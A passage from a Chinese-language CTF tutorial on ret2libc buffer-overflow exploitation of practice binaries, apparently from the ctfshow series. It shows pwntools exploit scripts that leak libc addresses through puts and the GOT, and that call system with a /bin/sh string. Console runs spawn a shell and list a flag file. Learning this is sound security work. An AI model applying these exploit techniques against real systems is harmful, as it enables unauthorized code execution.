需要注意的是,我这里向程序中 bss 段的 buf2 处写入 /bin/sh 字符串,并将其地址作为 system 的参数传入。这样以便于可以获得 shell。
$ python3 exp.py [+] Starting local process './ret2libc2': pid 431 [*] Switching to interactive mode Something surprise here, but I don't think it will work. What do you think ?$ ls ctfshow_flag exp.py pwn ret2libc1 ret2libc2 ret2libc3 ret2syscall
from pwn import * #from LibcSearcher import LibcSearcher libc = ELF("/lib/i386-linux-gnu/libc.so.6") #打本地 sh = process('./ret2libc3') elf = ELF('./ret2libc3') puts_plt =elf.plt['puts'] libc_start_main_got = elf.got['__libc_start_main'] main = elf.symbols['main']
print("leak libc_start_main_got addr and return to main again") payload = flat([b'A' * 112, puts_plt, main, libc_start_main_got]) sh.sendlineafter(b'Can you find it !?', payload)
python3 exp.py [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled [+] Starting local process './ret2libc3': pid 48 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No Debuginfo: Yes leak libc_start_main_got addr and return to main again get the related addr get shell [*] Switching to interactive mode $ ls ctfshow_flag
例 4
点击下载: ret2libc4 需要同时找到 system 函数地址与 /bin/sh 字符串的地址。 使用file和checksec命令查看二进制文件
$ checksec ret2libc4 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No $ file ret2libc4 ret2libc4: ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=6b427b8927f95bdfc8e3a8ee0b5c4af3a7b6a2f6, not stripped $ ldd ret2libc4 linux-gate.so.1 (0xeb9ed000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xeb7a0000) /lib/ld-linux.so.2 (0xeb9ef000)
$ python3 exp.py [+] Starting local process './ret2libc4': pid 70 Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) Stripped: No [*] '/lib/i386-linux-gnu/libc.so.6' Arch: i386-32-little RELRO: Full RELRO Stack: Canary found NX: NX enabled PIE: PIE enabled write_addr is 0xf627fb80 libc_base is 0xf6168000 [*] Switching to interactive mode $ ls ctfshow_flag
例 5
点击下载: x64_ret2plt 需要同时找到 system 函数地址与 /bin/sh 字符串的地址。 使用file和checksec命令查看二进制文件
$ checksec x64_ret2plt Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) Stripped: No $ file x64_ret2plt x64_ret2plt: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=d20b3b3f61548631d45d5b04c7c5381a196e0631, not stripped
from pwn import * #context(log_level='debug') io=process('./x64_ret2plt') elf=ELF('./x64_ret2plt') libc=ELF('/lib/x86_64-linux-gnu/libc.so.6') main=elf.sym['main'] system=elf.sym['system']